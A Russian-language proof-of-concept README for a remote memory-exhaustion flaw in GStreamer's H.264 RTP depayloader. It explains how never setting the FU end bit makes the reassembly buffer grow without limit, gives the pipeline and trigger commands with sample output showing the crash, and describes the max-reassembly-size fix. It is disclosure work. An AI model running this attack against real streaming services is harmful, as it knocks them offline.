
Доказательство концепции для CVE-2026-18649, удалённой уязвимости типа «отказ в обслуживании» в H.264 RTP-депейлоадере GStreamer (rtph264depay).
PoC для уязвимости исчерпания ресурсов в H.264 RTP-депейлоадере GStreamer (rtph264depay). Та же схема затрагивает и rtph265depay.
При сборке фрагментированных RTP-пакетов H.264 (FU-A) каждый входящий фрагмент помещается во внутренний буфер GstAdapter без ограничения размера. Адаптер сбрасывает данные только при установленном бите конца фрагмента (E) в заголовке FU. Удалённый злоумышленник отправляет один корректный стартовый фрагмент, а затем бесконечный поток продолжающих фрагментов, ни разу не устанавливая бит E. Буфер растёт, пока процесс не исчерпает память и не упадёт.
Полное описание: 0xsemizzz.vercel.app/projects/gstreamer-cve
gst-plugins-good до исправления в апстриме. Подтверждено на 1.28.2 (Ubuntu 24.04).
Запустите конвейер, затем запустите PoC:
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
PID=$!
python3 trigger.py 5036 $PID
Для быстрого падения добавьте ограничение памяти:
ulimit -v 262144 # 256 MB, process dies in about 12 seconds
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
python3 trigger.py 5036 $!
[*] port=5036 1 fragment every 0.5ms (~2.8 MB/s)
[*] monitoring VmData (heap), not RSS
[*] target PID=12345 baseline VmData=26 MB
5000 frags ~ 7 MB sent | VmData=35MB (+8MB)
10000 frags ~ 13 MB sent | VmData=44MB (+17MB)
15000 frags ~ 20 MB sent | VmData=53MB (+26MB)
20000 frags ~ 27 MB sent | VmData=62MB (+35MB)
25000 frags ~ 33 MB sent | VmData=71MB (+44MB)
30000 frags ~ 40 MB sent | VmData=79MB (+53MB)
...
DEAD
К rtph264depay и rtph265depay добавлено свойство max-reassembly-size. Приложениям следует устанавливать его в разумное значение (для видео обычно 16 МБ). По умолчанию — 0 (без ограничений) для обратной совместимости.